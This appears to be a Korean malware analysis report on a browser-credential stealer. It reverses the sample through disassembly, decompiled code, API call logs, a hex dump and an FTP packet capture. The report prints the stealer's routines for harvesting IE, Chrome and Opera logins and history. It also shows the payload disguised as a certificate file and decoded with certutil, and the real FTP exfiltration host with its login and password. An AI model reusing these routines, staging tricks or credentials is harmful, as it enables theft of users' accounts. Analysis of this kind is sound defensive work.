6ABA7498 CMP EDI,-1
6ABA749B JNZ SHORT wp_1.6ABA74A7
6ABA749D POP EDI
6ABA749E XOR EAX,EAX
6ABA74A0 POP EBX
6ABA74A1 MOV ESP,EBP
6ABA74A3 POP EBP
6ABA74A4 RETN 4
6ABA74A7 PUSH ESI
6ABA74A8 LEA ECX,DWORD PTR SS:[EBP-4]

```

```

CALL to CreateFileW from wp_1.6ABA76C2
FileName = "C:\ProgramData\Microsoft\Office\addr.dat"
Access = GENERIC_READ
ShareMode = 0
pSecurity = NULL
Mode = OPEN_EXISTING
Attributes = NORMAL
hTemplateFile = NULL

```

```

6ABA74AD CALL DWORD PTR DS:[<&KERNEL32.GetFileSize>] kernel32.GetFileSize
6ABA74B3 MOV EDX,DWORD PTR SS:[EBP+8]
6ABA74B6 MOV ESI,EAX
6ABA74B8 MOV DWORD PTR DS:[EDX],ESI
6ABA74BA TEST ESI,ESI
6ABA74BC JE SHORT wp_1.6ABA74DF
6ABA74BE LEA EAX,DWORD PTR DS:[ESI+2]
6ABA74C1 PUSH EAX
6ABA74C2 CALL wp_1.6AC1670B
6ABA74C7 MOV EBX,EAX
6ABA74C9 ADD ESP,4
6ABA74CC TEST EBX,EBX
6ABA74CE JE SHORT wp_1.6ABA74DF
6ABA74D0 PUSH 0
6ABA74D2 LEA ECX,DWORD PTR SS:[EBP-8]
6ABA74D5 PUSH ECX
6ABA74D6 PUSH ESI
6ABA74D7 PUSH EBX
6ABA74D8 PUSH EDI
6ABA74D9 CALL DWORD PTR DS:[<&KERNEL32.ReadFile>] kernel32.ReadFile
6ABA74DF PUSH EDI
6ABA74E0 CALL DWORD PTR DS:[<&KERNEL32.CloseHandle>] kernel32.CloseHandle
6ABA74E6 POP ESI

```

특정 파일을 읽으려 하지만 존재하지 않아 읽기 실패

행위

```

.rdata:1008E9A8 aCmDme: text "UTF-16LE", "[Chrome]", 0Dh, 0Ah, 0
.rdata:1008E9BE align 10h
.rdata:1008E9C0 a64555561445144 db '64555561445144', 0 ; DATA XREF: sub_10074C10+14to
.rdata:1008E9CF align 10h
.rdata:1008E9D0 a796a5540574405 db '796A5540574405764A435152445740790F080F', 0
.rdata:1008E9D0 ; DATA XREF: sub_10074C10+44to
.rdata:1008E9F7 align 4
.rdata:1008E9F8 aOpera: text "UTF-16LE", "[Opera]", 0Dh, 0Ah, 0 ; DATA XREF: sub_10074C10+93to
.rdata:1008E9F8 aUrl db 'URL ', 0 ; DATA XREF: sub_10074E90+2Eto
.rdata:1008EA11 align 8
.rdata:1008EA18 a764a4351524457 db '764A43515244574079684C46574A564A4351796C4B51405748405105605D55494'
.rdata:1008EA18 ; DATA XREF: sub_10074F60+2Eto
.rdata:1008EA18 db 'A574057796C4B514049494C634A5748567976514A5744424017', 0
.rdata:1008EA8D align 10h
.rdata:1008EA90 ; CHAR OutputString[]
.rdata:1008EA90 OutputString db 'webpass: IE_GetStorage2: 1', 0 ; DATA XREF: sub_10074F60+AFto
.rdata:1008EA98 align 4
.rdata:1008EAAC unk_1008EAAC db 0 ; DATA XREF: sub_10075320+4Ato
.rdata:1008EAA0 db 0
.rdata:1008EAAE db 0
.rdata:1008EAAF db 0
.rdata:1008EAB0 dword_1008EAB0 dd 5Ch ; DATA XREF: sub_10075320+8Eto
.rdata:1008EAB4 unk_1008EAB4 db 2Ah ; " ; DATA XREF: sub_10075400+25to
.rdata:1008EAB5 db 0
.rdata:1008EAB6 db 0
.rdata:1008EAB7 db 0
.rdata:1008EAB8 ; const WCHAR aSS_3
.rdata:1008EAB8 aSS_3: text "UTF-16LE", '%s\\%s', 0 ; DATA XREF: sub_100754A0+62to
.rdata:1008EAC4 aIe: text "UTF-16LE", "[IE]", 0Dh, 0Ah, 0 ; DATA XREF: sub_10075A90+FAto
.rdata:1008EAD2 align 4
.rdata:1008EAD4 a684c46574a564a db '684C46574A564A43517A724C4B6C4B40517A', 0

```

```

65 v43 = 14418308;
66 v44 = 14418328;
67 v45 = 0;
68 dword_10095318(0, 0, &v13, &v10);
69 WriteFile(*(HANDLE *) (a1 + 2344), L"[IE]\\r\\n", 0xCu, &NumberOfBytesWritten, 0);
70 for ( i = 0; i < v13; ++i )
71 {
72     HIWORD(v1) = HIWORD(v10);
73     v2 = *(_WORD *) (*(DWORD *) (v10 + 4 * i) + 8);
74     v3 = (int)(v2 + 1);
75     do
76     {
77         LOWORD(v1) = *v2;
78         ++v2;
79     }
80     while ( (_WORD)v1 );
81     v11 = ((signed int)v2 - v3) >> 1;
82     v4 = (const wchar_t *) sub_10073FC0(v1, "684C46574A564A43517A724C4B6C4B40517A", a1);
83     if ( _wcsnicmp(*(const wchar_t *) (*(DWORD *) (v10 + 4 * i) + 8), v4, 0x12u) )
84         memcpy_0(&Buffer, *(const void *) (*(DWORD *) (v10 + 4 * i) + 8), 2 * v11);
85     else
86         memcpy_0(&Buffer, (const void *) (*(DWORD *) (*(DWORD *) (v10 + 4 * i) + 8) + 36), 2 * v11 - 36);
87     WriteFile(*(HANDLE *) (a1 + 2344), "\t", 2u, &v22, 0);
88     WriteFile(*(HANDLE *) (a1 + 2344), &Buffer, 2 * wcslen((const unsigned __int16 *)&Buffer), &v26, 0);

```



```

16 char v16[40]; // [esp+210h] [ebp-2Ch]
17
18 v2 = sub_10073FC0(a1, "64555561445144", v13);
19 v3 = &v16[-v2];
20 do
21 {
22     v4 = *(unsigned __int16 *)v2;
23     *(_WORD *)&v3[v2] = v4;
24     v2 += 2;
25 }
26 while ( (_WORD)v4 );
27 sub_10075DD0(v4, (int)&v15, (int)v16, a2);
28 v6 = (_WORD *)sub_10073FC0(v5, "796A5540574405764A435152445740790F080F", a2);
29 v7 = v6;
30 do
31 {
32     v8 = *v6;
33     ++v6;
34 }
35 while ( v8 );
36 v9 = (char *)v6 - v7;
37 v10 = (_WORD *)((char *)&NumberOfBytesWritten + 2);
38 do
39 {
40     v11 = v10[1];
41     ++v10;
42 }
43 while ( v11 );
44 qmemcpy(v10, v7, v9);
45 WriteFile(*(HANDLE *)(a2 + 2344), L"[Opera]\r\n", 0x12u, &NumberOfBytesWritten, 0);
46 return sub_10074530(&v15, a2);
47 }

```

```

17
18 v2 = sub_10073FC0(a1, "694A4644490564555561445144", v13);
19 v3 = &v16[-v2];
20 do
21 {
22     v4 = *(unsigned __int16 *)v2;
23     *(_WORD *)&v3[v2] = v4;
24     v2 += 2;
25 }
26 while ( (_WORD)v4 );
27 sub_10075DD0(v4, (int)&v15, (int)v16, a2);
28 v6 = (_WORD *)sub_10073FC0(v5, "79624A4A42494079664D574A484079705640570561445144790F080F", a2);
29 v7 = v6;
30 do
31 {
32     v8 = *v6;
33     ++v6;
34 }
35 while ( v8 );
36 v9 = (char *)v6 - v7;
37 v10 = (_WORD *)((char *)&NumberOfBytesWritten + 2);
38 do
39 {
40     v11 = v10[1];
41     ++v10;
42 }
43 while ( v11 );
44 qmemcpy(v10, v7, v9);
45 WriteFile(*(HANDLE *)(a2 + 2344), L"[Chrome]\r\n", 0x14u, &NumberOfBytesWritten, 0);
46 return sub_10074530(&v15, a2);

```


브라우저 계정정보 수집 (IE, Chrome, Opera)

행위

```
CALL to CreateDirectoryW from wp_1.6ABA8106
Path = "C:\Users\ccc\AppData\Roaming\Microsoft\Windows\Addins"
pSecurity = NULL
```

```
CALL to CreateFileW from wp_1.6ABA79B1
FileName = "C:\Users\ccc\AppData\Roaming\Microsoft\Windows\Addins\@AS229D.tmp"
Access = GENERIC_READ
ShareMode = FILE_SHARE_READ
pSecurity = NULL
Mode = OPEN_EXISTING
Attributes = NORMAL
hTemplateFile = NULL
```

```
CALL to CreateFileW from wp_1.6ABA7C93
FileName = "C:\Users\ccc\AppData\Roaming\Microsoft\Windows\Addins\0309_112235_0.dat"
Access = GENERIC_WRITE
ShareMode = FILE_SHARE_READ
pSecurity = NULL
Mode = CREATE_ALWAYS
Attributes = HIDDEN
hTemplateFile = NULL
```



특정 FTP서버에 접속하여 수집한 정보를 전송

- 운영체제상의 악성행위(wp64.txt)

항목	내용
행위	 <pre> wp64.txt - 메모장 파일(F) 편집(E) 서식(O) 보기(V) 도움말(H) -----BEGIN CERTIFICATE----- TVNDP9AAAAADTLgVAAAAACwAAAAAEBAAEAAAAAAAAAAQwAAABgAAQAAxAsA AAAAAAAAAXE4gmSAAAd3AuZGxsAEYOV1n1RgCAQOVlvQt8VN#10DyTmZahDO+QRGN JS1jDQ61aQfbxEGdnTmHnCEnGspDwKdpH6R4q5YmM4AFbcJJJKebU2ihVvvaem/7 3dpqr/bqhQ0WziSQF68EREFqDdThliCDWjP86219pm8CNrv+/7/+38fvR845 +7n22muv1157f8U31zlcDofDDf8ty+Fodlh/Qcen/zsJ/68at/UqxQuj93yuQant +dyMxQ9UFypp+u63q771UMGCbz388HcjBf/j/oKq6MMFDzxcIN89veCh7y68/5as rHsv3cbaZrfX7Lpm/ZvJ/7NnZ7y5B56/nV/85j/oWfLmYnpavdkEz6aH#W/upr1/ efMbID75zZ3Q9LzZQc+r6Pn1BxYsXvaGw1yp0BwLHx/IKP+35XMHxvH5goyUd1fj 8dEOx2DpIDZ3n8fhyKbXGlf+Xf1Sn#1/0TTUZIjyPP3ZUBK0JmsIHxc/ileK6UM h4xPZ4ZjMiY#ZDpewo6eznDM/cEgglSyHV7PPzEZw/89PdoRdF85+5bl/csj8Bxb P1oAhGMfVr7A4Zh/S9XCbOW+5XBs+K6T2nQsgcPw8pB7QSVEUUc3RyHGGw/FV eJSLH14udssSUZDGCN110AYMy5vr6q6agG8EO4AN4TuFOYqd/+D34WQq7iFrhxX w/M/LytX+n8Dg/+K1q73r8MZV3qfXtkaWq3m6pxmSvys998B+Kv1Qzc5+9Jc0h nu1SrXZ1Qby+/bGQajWpV1uYn107Epp0it4XNpUakDueSxIYpqOKT3W7a45W/JY ak3P13pdNT1FKXHVaiX1ppRJN4att0YyK9qp8sne81L2MG8qbXGPArh2eJp3i38A T6Fz3bPNqRmG9Z1srbrNz71o52aPyQaqT+lwLQ1Mei6VQZ1yBT31HVDKXLSPrX oHSY71J5p5X7BagApd12104fVLoES7up7az7sQTW+0hHVEPrzF6ePv7L1ENf7JG k6gR6K/hGVTjdqzxtKjhTNZYJ2oclpM10gbVG181HhV19s12jXtFjc39NUYNqnEd 1pgsavvW#0iqPHL/hqps2pYm6BGuqjxn#Snc+Zoh799qxuT62NQ93uQ18kdPE7V dg/9F5zFzqi17y6H2any100XQx2qf4dq1HnnQ4ri16tV9spueGX8lyCoudDRO90 BHQEFu5J01Z8PdNANKQvcH6mFR3AYjw9r/f4nBEv6S2UFk1Z3grVVPzBq3czSGq 2gBYMaUy8atfenBYU1QLkq6xQbs04TCe8z5J8HzxMezLeNn7NHxqk1zMSj0/eDc0 EOYxpHF6KPSm1VIE+cCR3diG6w25eHwOdzuymS3ZN2Erb/BLVu5KcCagDu6T5Y2 hxbBMHzQtGYs9BbDCIugsEczyxer5vQU+C7E2prxoLfAyvUhzEaq20cTEFmrcQGG ygyYKk9CK6DhKbeGsKf6dyd+uREGWLSDDcvm3gv1D86cBeh+JoXQf1eFfnSvo5RT #7BnIR9PL1Tpg+48epvV86JT1KcTnyvdSwX21FYOpSDUv/U+Dc/Es9ATzJcKy8mH veu/RsOmVSKNc01bM1NwsS4ytJzHfT#3R98DAJErnC97kYUv+uB5fzvMSdHMQCSA T2m2013y41Bel14sAop7D3CYdjP02waqY0WefRmOyxrhqa++BERQdkmtPy3vRUYg YfalGJtSet/v78d8Vp10ywjXo8gmQ5pBSm1i0BZtGiRnk60+Nm18CybMB1eBwQ8 yVagRYJnioBnh0EuGtK+nJEyp1MTOHE1D1Fm1IEvt1WfUH4qQUAv5p100QfShGT jRNSH9sC82UxSdmtcTEhsNyADmhagQ5++n01A5z3e+cNXoPAH4v12/9VDB1ucm1i 7znLM1Kfhi977mHJFj1fTB10/b1kOn3Vj0h8GCAjkuJH/ckeGA6F+R8FSqWvY6g xspTsJ4ackEI/XWQ1yndweJ1osKk8wEgba7SHxwn1juWhi+RKVLoHTjxf4SMXqo x1xv9JQADQF/BLJBVdcjs13nSEcW0iJj1UdmNArynesthsIF9zWrfFpQNSLe1v9p tX5/JLXkkRmRm4Bx/ewm70DUm3Aaswx48NdUozporJhh5X4fU41QUc2pD1JTQem LbxF5dCMaHJw/1K5U12wX9rkThHJnGX7mGegSHA6wqo/UglgHV5+Td/SgBiJ3k1g 38KnZQNx+JA3BkKL17p4+WJ4nPBabLrTjVB2NKD1VEIDgn7nNPNvNg/N8JV7VFeG 6ourLgASiLkoDj1ATyoPqSB9kfUYoazLNnTsEbC9TeWYBiJ+gzMEDWx7Qp5Aa06y 3/DykZuNvi16HcKv/1tb2WScVbWYzXeL5xJiY2btGoprXp10wiQ8v1M3WUIdCf2o M6zH3Fb7ma7aowV64wi/G4939ejdTqvtT0eN1BLnbVTwv6sQM41Xas85AHpp1Qyg sw9hqEh1HhVYzbSTR5RGuM9/A0VPigLGufSPKAq1Cam3VhENB3++qDexEHK8dpL qN8vTeWvxo+n1JryKKfBzn0QNMx0jzZCc00m2+0ChbmrK2FuAA3T40j4gML9Fsqg </pre> <p>관리자: C:\Windows\system32\cmd.exe</p> <pre> C:\Windows\system32>certutil.exe -decode wp64.txt 1.txt 인코딩된 값 = 557212 해독된 값 = 405203 CertUtil: -decode 명령이 성공적으로 완료되었습니다. </pre>

HxD - [C:\Users\Administrator\Desktop\1.txt]

파일(F) 편집(E) 찾기(S) 보기(V) 분석(A) 기타 설정(X) 창 설정(W) ?

16 ANSI 16 진수

1.txt

Offset (h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F
00000000	4D	53	43	46	00	00	00	00	D3	2E	06	00	00	00	00	00
00000010	2C	00	00	00	00	00	00	00	03	01	01	00	01	00	00	00
00000020	00	00	00	00	43	00	00	00	18	00	01	00	00	C4	0B	00
00000030	00	00	00	00	00	5C	4E	20	99	20	00	77	70	2E	64	00
00000040	6C	6C	00	46	34	57	59	F5	46	00	80	43	4B	E5	BD	0B
00000050	7C	54	D5	B5	38	3C	93	99	90	21	0F	4F	90	44	63	4D
00000060	25	2D	63	0D	0E	B5	69	07	DB	C4	41	9D	9D	39	87	9C
00000070	21	27	1A	CA	43	5A	40	E9	1F	A4	78	AB	96	26	33	80
00000080	05	6D	C2	49	24	A7	9B	53	68	A1	55	5B	DA	7A	6F	FB
00000090	DD	DA	6A	AF	F6	EA	85	00	96	CE	24	90	17	AF	04	44
000000A0	41	6A	0D	D4	EA	84	88	82	0F	08	CF	F3	AD	B5	F6	99
000000B0	BC	08	DA	EF	FB	FE	FF	FB	FF	BE	DF	C7	EF	47	CE	39
000000C0	FB	B9	F6	DA	6B	AF	D7	5E	7B	4F	C5	37	D7	39	5C	0E
000000D0	87	C3	0D	FF	2D	CB	E1	68	74	88	7F	41	C7	A7	FF	3B
000000E0	09	FF	AF	1A	B7	F5	2A	C7	4B	A3	F7	7C	AE	D1	A9	ED
000000F0	F9	DC	8C	C5	0F	54	17	2C	A9	FA	EE	B7	AB	BE	F5	50
00000100	C1	82	6F	3D	FC	F0	77	23	05	FF	E3	FE	82	AA	E8	C3
00000110	05	0F	3C	5C	20	DF	3D	BD	E0	A1	EF	2E	BC	FF	96	AC
00000120	AC	74	AF	DD	C6	DA	65	17	D7	EC	BA	66	FD	9B	C9	FF
00000130	B3	67	67	BC	B9	07	9E	BF	9D	5F	FC	E6	3F	E8	59	F2
00000140	E6	56	7A	66	BD	D9	04	CF	A6	87	1D	6F	EE	A6	B2	3F
00000150	79	F3	1B	94	3E	F9	CD	9D	F4	BC	D9	41	CF	AB	E8	00
00000160	F9	F5	07	16	2C	C6	F6	86	C3	5C	A9	38	1C	0B	1F	1F
00000170	E5	28	FF	B7	E5	73	07	C6	F1	F9	82	8C	94	74	87	E3
00000180	F1	D1	0E	C7	6D	29	94	36	77	9F	C7	E1	C8	A6	D7	1A
00000190	27	FE	C5	77	C8	4A	75	88	FC	E4	D3	51	99	49	C8	F3
000001A0	F7	65	40	4A	D0	99	AC	94	7C	5C	FE	2D	5E	2B	A5	0C
000001B0	87	8C	4F	67	86	63	26	16	64	3A	5E	C2	8E	9E	CE	00
000001C0	70	CC	FD	C1	20	80	8B	32	1D	5E	CF	3F	31	19	C3	FF
000001D0	3D	3D	DA	11	74	5F	39	FB	96	C8	FD	CB	23	F0	1C	5B
000001E0	3F	5A	00	84	63	1F	56	BE	C0	E1	98	7F	4B	D5	C2	6F
000001F0	45	BE	E5	70	6C	F8	AE	93	DA	74	2C	81	E7	0F	47	0F
00000200	29	07	B4	12	BC	45	14	73	74	72	1C	60	86	C3	F1	55
00000210	78	9E	4B	1F	5E	2E	76	CB	12	51	90	C6	08	63	75	D4




1.cab - 반디집 6.12

파일(F) 편집(E) 찾기(F) 설정(S) 보기(V) 도움말(A)

열기 풀기 새로 압축 파일 추가 파일 삭제 테스트 실행

1.cab 이름

wp.dll

	 <p>Exeinfo PE - ver.0.0.5.0 by A.S.L - 1015+67 sign 2018.03.31</p> <p>File : wp.dll</p> <p>Entry Point : 0008CF5C oo < EP Section : .text</p> <p>File Offset : 0008C35C First Bytes : 48.89.5C.24.0E</p> <p>Linker Info : 10.00 SubSystem : Windows GUI</p> <p>File Size : 000BC400h Overlay : NO 00000000</p> <p>64 bit DLL library RES/OVL : 0 / 0 % 2019</p> <p>Microsoft Visual C++ v10 - 2010 - DLL (x64) www.microsoft.com (48t</p> <p>Lamer Info - Help Hint - Unpack info 16 ms</p> <p>Not packed, try OllyDbg v2 - www.ollydbg.de or IDA v5 www.hex-ray</p>
	<p>인증서로 위장한 파일이며 디코딩 시 .cab 파일 및 내부 dll 파일 확인</p>
<p>행위</p>	 <pre> MOVZX EAX, BYTE PTR DS:[RDX - 1] CMP AL, 39 JLE wp.7FEEFBF97FF SUB AL, 7 MOVZX ECX, BYTE PTR DS:[RDX] SHL AL, 4 CMP CL, 39 JLE wp.7FEEFBF980F SUB CL, 37 JMP wp.7FEEFBF9812 SUB CL, 30 ADD AL, CL INC RDI ADD RDX, 2 XOR AL, 25 DEC R8 MOV BYTE PTR DS:[RDI - 1], AL JNE wp.7FEEFBF97E5 </pre> <p>39: '9'</p> <p>39: '9'</p>
<p>행위</p>	 <pre> LEA RCX, QWORD PTR DS:[7FEEFC90AE0] CMOVE EDI, EAX CALL <wp.Decoding> MOV R9D, EDI MOV RDX, RAX LEA RAX, QWORD PTR SS:[RSP + 50] XOR R8D, R8D MOV RCX, FFFFFFFF80000002 MOV QWORD PTR SS:[RSP + 20], RAX CALL QWORD PTR DS:[<&RegOpenKeyExA>] TEST EAX, EAX JE wp.7FEEFBF98F1 MOV EAX, FFFFFFFF JMP wp.7FEEFBF9F3C MOV QWORD PTR SS:[RSP + 1F0], RBX LEA RCX, QWORD PTR DS:[7FEEFC90B40] XOR EBX, EBX MOV QWORD PTR SS:[RSP + 1F8], RSI MOV QWORD PTR SS:[RSP + 1D8], R12 MOV DWORD PTR SS:[RSP + 40], 8 MOV R12D, EBX CALL <wp.Decoding> </pre> <p>000007FEEFC90AE0: "766A63717264776079684C46374A364A"</p> <p>"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"</p> <p>000007FEEFC90B40: "6C485651444949714C4840"</p>

	<pre> MOV RCX, QWORD PTR SS:[RSP + 50] MOV R8, RAX LEA RAX, QWORD PTR SS:[RSP + 40] LEA R9D, QWORD PTR DS:[RBX + 48] MOV QWORD PTR SS:[RSP + 30], RAX LEA RAX, QWORD PTR SS:[RSP + 48] XOR EDX, EDX MOV QWORD PTR SS:[RSP + 28], RAX LEA RAX, QWORD PTR SS:[RSP + 58] MOV QWORD PTR SS:[RSP + 20], RAX CALL QWORD PTR DS:[<&RegGetValueA>] MOV ESI, EAX TEST EAX, EAX JE wp.7FEEFBF9AC0 CMP EAX, 2 JNE wp.7FEEFBF99B7 LEA RCX, QWORD PTR DS:[7FEEFC90B58] MOV DWORD PTR SS:[RSP + 40], 4 CALL <wp.Decoding> MOV RCX, QWORD PTR SS:[RSP + 50] LEA R9D, QWORD PTR DS:[RBX + 10] MOV R8, RAX LEA RAX, QWORD PTR SS:[RSP + 40] XOR EDX, EDX MOV QWORD PTR SS:[RSP + 30], RAX LEA RAX, QWORD PTR SS:[RSP + 44] MOV QWORD PTR SS:[RSP + 28], RAX LEA RAX, QWORD PTR SS:[RSP + 58] MOV QWORD PTR SS:[RSP + 20], RAX CALL QWORD PTR DS:[<&RegGetValueA>] </pre> <p>"InstallTime"</p> <p>000007FEEFC90B58:"6C4B565144494961445140"</p> <p>"InstallDate"</p>
	<pre> MOV QWORD PTR SS:[RSP + 60], RAX MOV QWORD PTR SS:[RSP + 68], RAX MOV QWORD PTR SS:[RSP + 70], RAX MOV QWORD PTR SS:[RSP + 78], RAX MOV QWORD PTR SS:[RBP - 80], RAX MOV QWORD PTR SS:[RBP - 78], RAX CALL QWORD PTR DS:[<&GetNativeSystemInfo>] </pre> <pre> LEA RDX, QWORD PTR SS:[RSP + 40] LEA RCX, QWORD PTR SS:[RBP + 40] CALL QWORD PTR DS:[<&GetUserNameA>] </pre> <pre> LEA RDX, QWORD PTR SS:[RSP + 40] LEA RCX, QWORD PTR SS:[RBP - 40] CALL QWORD PTR DS:[<&GetComputerNameA>] </pre>
	시스템 정보 수집
행위	<pre> MOV QWORD PTR SS:[RSP + 30], 0 LEA RCX, QWORD PTR DS:[RBX + 514] XOR R9D, R9D XOR R8D, R8D MOV EDX, 40000000 MOV DWORD PTR SS:[RSP + 28], 80 MOV DWORD PTR SS:[RSP + 20], 2 CALL QWORD PTR DS:[<&CreateFileW>] </pre> <p>"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Addins\\@AS2CCB.tmp"</p> <p>CREATE_ALWAYS</p>
	수집한 정보를 기록하기 위한 임시 파일 생성
행위	<pre> MOV RDX, R11 CALL wp.7FEEFC79670 </pre> <p>"https://www.google.com/accounts/servicelogin"</p> <pre> MOV RDX, R11 CALL wp.7FEEFC79670 </pre> <p>"http://www.facebook.com/"</p> <pre> MOV RDX, R11 CALL wp.7FEEFC79670 </pre> <p>"https://login.yahoo.com/config/login"</p>
	특정 사이트의 로그인 정보를 수집하는 것으로 추정

행위

```

MOV R9D, 20019
MOV RDX, RAX
LEA RAX, QWORD PTR SS:[RSP + 50]
XOR R8D, R8D
MOV RCX, FFFFFFFF80000001
MOV QWORD PTR SS:[RSP + 20], RAX
CALL QWORD PTR DS:[<&FindFirstFile>]

MOV QWORD PTR SS:[RBP - 78], RDX
MOV R12, RCX
LEA RDX, QWORD PTR SS:[RBP + 210]
MOV RCX, R14
MOV QWORD PTR SS:[RSP + 58], RBX
MOV EDI, EBX
MOV DWORD PTR SS:[RSP + 40], EBX
CALL QWORD PTR DS:[<&FindFirstFile>]

MOV RCX, R14
MOV QWORD PTR SS:[RSP + 58], RBX
MOV EDI, EBX
MOV DWORD PTR SS:[RSP + 40], EBX
CALL QWORD PTR DS:[<&FindFirstFile>]

CALL QWORD PTR DS:[<&FindNextFile>]
TEST EAX, EAX
JNE wp.7FEEFC789E1
MOV R13, QWORD PTR SS:[RSP + B40]
MOV RSI, QWORD PTR SS:[RSP + B90]
MOV RCX, R15
CALL QWORD PTR DS:[<&FindClose>]
MOV RCX, QWORD PTR DS:[R12 + 930]
LEA R9, QWORD PTR SS:[RSP + 54]
LEA RDX, QWORD PTR DS:[7FEEFC95DB0]
MOV R8D, 4
MOV QWORD PTR SS:[RSP + 20], RBX
CALL QWORD PTR DS:[<&WriteFile>]
MOV EAX, EDI
MOV RCX, QWORD PTR SS:[RBP + A30]
XOR RCX, RSP
CALL wp.7FEEFC7B030

LEA RDX, QWORD PTR SS:[RSP + 50]
MOV RCX, RDI
CALL QWORD PTR DS:[<&FindFirstFile>]
MOV RCX, RDI
MOV RBP, RAX
CALL wp.7FEEFC7B424
XOR EAX, EAX
CMP RBP, FFFFFFFFFFFFFFFF
SETNE AL
JMP wp.7FEEFC79EDC
LEA RDX, QWORD PTR SS:[RSP + 50]
MOV RCX, RBP
CALL QWORD PTR DS:[<&FindNextFile>]

MOV RCX, RAX
MOV DWORD PTR SS:[RSP + 28], R14D
MOV DWORD PTR SS:[RSP + 20], 3
CALL QWORD PTR DS:[<&CreateFile>]
MOV R12, RAX
CMP RAX, FFFFFFFFFFFFFFFF
JE wp.7FEEFC79D46
XOR R9D, R9D
XOR R8D, R8D
XOR EDX, EDX
MOV RCX, RAX
CALL QWORD PTR DS:[<&SetFilePointer>]
LEA R9, QWORD PTR SS:[RSP + 40]
LEA R8D, QWORD PTR DS:[R14 + 20]
LEA RDX, QWORD PTR SS:[RSP + 50]
MOV RCX, R12
MOV DWORD PTR SS:[RSP + 40], R14D
MOV QWORD PTR SS:[RSP + 20], R14
CALL QWORD PTR DS:[<&ReadFile>]
CMP BYTE PTR SS:[RSP + 68], 34
JE wp.7FEEFC79D3D
XOR EDX, EDX
MOV RCX, R12
MOV QWORD PTR SS:[RSP + 63F8], RBP
MOV QWORD PTR SS:[RSP + 63E8], R13
CALL QWORD PTR DS:[<&GetFileSize>]
MOV EBP, 5000
MOV R13D, EAX
CMP EAX, EBP
JBE wp.7FEEFC79D2D

```

"Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2"

"C:\\Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data*.*)"

"C:\\Users\\Administrator\\AppData\\Roaming\\Opera Software*.*)"



Handle : @AS2CCB.tmp
000007FEEFC95DB0:L "\\r\\n"


"C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\Windows\\History\\History*"

"C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat"

OPEN_EXISTING

34: '4'

	
	<p>브라우저 계정정보 및 히스토리 정보를 수집하여 임시 파일에 기록 (IE, Chrome, Opera)</p>
<p>행위</p>	

	<pre> LEA R9, QWORD PTR SS:[RSP + 40] LEA RDX, QWORD PTR SS:[RSP + 44] MOV R8D, 2 MOV RCX, RSI MOV DWORD PTR SS:[RSP + 44], EBX MOV QWORD PTR SS:[RSP + 20], RBX CALL QWORD PTR DS:[<&writeFile>] LEA R9, QWORD PTR SS:[RSP + 40] LEA RDX, QWORD PTR SS:[RSP + 68] MOV R8D, 4 MOV RCX, RSI MOV QWORD PTR SS:[RSP + 20], RBX CALL QWORD PTR DS:[<&writeFile>] LEA R9, QWORD PTR SS:[RSP + 40] LEA RDX, QWORD PTR SS:[RSP + 50] MOV R8D, 4 MOV RCX, RSI MOV QWORD PTR SS:[RSP + 20], RBX CALL QWORD PTR DS:[<&writeFile>] </pre> <p>Handle : 0310_170142_0.dat</p> <p>Handle : 0310_170142_0.dat</p> <p>Handle : 0310_170142_0.dat</p> 
	수집한 정보를 암호화한 dat 파일 생성
행위	<pre> LEA RCX, QWORD PTR DS:[RBX + 514] CALL QWORD PTR DS:[<&deleteFile>] </pre> <p>"C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Addins\@AS2CC8.tmp"</p> <pre> LEA RCX, QWORD PTR SS:[RBP + 50] CALL QWORD PTR DS:[<&deleteFile>] </pre> <p>"C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Addins\0310_170142_0.dat"</p> <p>임시파일 및 dat 파일 삭제</p>
네트워크	<pre> MOVZX R8D, WORD PTR DS:[RBX + 66] MOV RCX, QWORD PTR DS:[7FEEFCA3E58] MOV QWORD PTR SS:[RSP + 38], R12 MOV DWORD PTR SS:[RSP + 30], 8000000 LEA R9, QWORD PTR DS:[RBX + 68] LEA RDX, QWORD PTR DS:[RBX + 2] MOV DWORD PTR SS:[RSP + 28], 1 MOV QWORD PTR SS:[RSP + 20], R13 CALL QWORD PTR DS:[<&InternetConnectW>] </pre> <p>"mozilla_forum" --> ID "ftp.drivehq.com"</p> <p>"1qaz2wsx#EDC" --> Password</p>


```

MOV RCX, QWORD PTR DS:[7FEEFCA3E60]
LEA RDX, QWORD PTR SS:[RSP + 80]
CALL QWORD PTR DS:[&FtpCreateDirectoryW]
XOR EAX, EAX
LEA RDI, QWORD PTR SS:[RSP + 80]
OR RCX, FFFFFFFF
REPNE SCASW
MOV EAX, DWORD PTR DS:[7FEEFC8C954]
MOV QWORD PTR DS:[RDI - 2], EAX
XOR EAX, EAX
OR RCX, FFFFFFFF
LEA RDI, QWORD PTR SS:[RSP + 80]
REPNE SCASW
XOR ECX, ECX
RSP WORD PTR DS:[RAX + RAX], AX
MOVZX EAX, WORD PTR DS:[RBX + RCX + 2]
ADD RCX, 2
MOV WORD PTR DS:[RDI + RCX - 4], AX
TEST AX, AX
JNE WP_7FEEFBF1530
MOV RCX, QWORD PTR DS:[7FEEFCA3E60]
LEA R8, QWORD PTR SS:[RSP + 80]
MOV R9D, 2
MOV RDX, RBP
MOV QWORD PTR SS:[RSP + 20], R12
"/htdocs/in/5AE3183A_035-PC-Administrator/wpw"
rdi-2:0310_174611_0.dat
"/htdocs/in/5AE3183A_035-PC-Administrator/wpw/0310_170142_0.dat"
"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Addins\\0310_170142_0.dat"

66.220.9.50 192.168.182.134 TCP 60 21 → 49344 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
192.168.182.134 66.220.9.50 TCP 54 49344 → 21 [ACK] Seq=1 Ack=1 Win=64240 Len=0
66.220.9.50 192.168.182.134 FTP 238 Response: 220 Welcome to the most popular FTP hosting service!...
192.168.182.134 66.220.9.50 FTP 74 Request: USER mozilla_forum
66.220.9.50 192.168.182.134 TCP 60 21 → 49344 [ACK] Seq=185 Ack=21 Win=64240 Len=0
66.220.9.50 192.168.182.134 FTP 88 Response: 331 User name ok, need password.
